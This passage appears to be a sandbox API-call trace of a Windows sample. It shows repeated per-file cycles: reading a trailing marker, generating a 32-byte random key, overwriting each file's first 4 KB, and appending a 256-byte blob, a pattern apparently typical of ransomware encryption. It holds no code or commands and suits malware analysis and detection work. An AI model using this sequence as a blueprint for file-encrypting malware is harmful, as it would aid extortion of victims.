| out: hHeap=0x540000) returned 1 [0085.248] GetProcessHeap () returned 0x540000 [0085.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.248] CloseHandle (hObject=0x8b8) returned 1 [0085.251] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 80 [0085.251] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.251] ReadFile (in: hFile=0x8bc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.251] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.251] GetProcessHeap () returned 0x540000 [0085.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.251] GetProcessHeap () returned 0x540000 [0085.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.251] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.251] GetProcessHeap () returned 0x540000 [0085.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.251] ReadFile (in: hFile=0x8bc, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.303] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.303] WriteFile (in: hFile=0x8bc, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.303] GetProcessHeap () returned 0x540000 [0085.303] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.303] GetProcessHeap () returned 0x540000 [0085.303] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.303] GetProcessHeap () returned 0x540000 [0085.303] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.303] GetProcessHeap () returned 0x540000 [0085.303] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.303] GetProcessHeap () returned 0x540000 [0085.303] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.303] GetProcessHeap () returned 0x540000 [0085.303] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.303] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.304] GetProcessHeap () returned 0x540000 [0085.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.305] GetProcessHeap () returned 0x540000 [0085.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.306] GetProcessHeap () returned 0x540000 [0085.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.307] GetProcessHeap () returned 0x540000 [0085.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.308] GetProcessHeap () returned 0x540000 [0085.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.308] GetProcessHeap () returned 0x540000 [0085.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.308] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.308] WriteFile (in: hFile=0x8bc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.308] WriteFile (in: hFile=0x8bc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.308] GetProcessHeap () returned 0x540000 [0085.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.308] GetProcessHeap () returned 0x540000 [0085.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.308] GetProcessHeap () returned 0x540000 [0085.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.308] CloseHandle (hObject=0x8bc) returned 1 [0085.310] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 81 [0085.310] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.310] ReadFile (in: hFile=0x8c0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.310] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.310] GetProcessHeap () returned 0x540000 [0085.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.310] GetProcessHeap () returned 0x540000 [0085.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.310] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.310] GetProcessHeap () returned 0x540000 [0085.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.310] ReadFile (in: hFile=0x8c0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.374] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.374] WriteFile (in: hFile=0x8c0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.374] GetProcessHeap () returned 0x540000 [0085.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.374] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.375] GetProcessHeap () returned 0x540000 [0085.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.376] GetProcessHeap () returned 0x540000 [0085.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.377] GetProcessHeap () returned 0x540000 [0085.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.377] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.378] GetProcessHeap () returned 0x540000 [0085.378] RtlAllocateHeap (HeapHandle=0x540000, 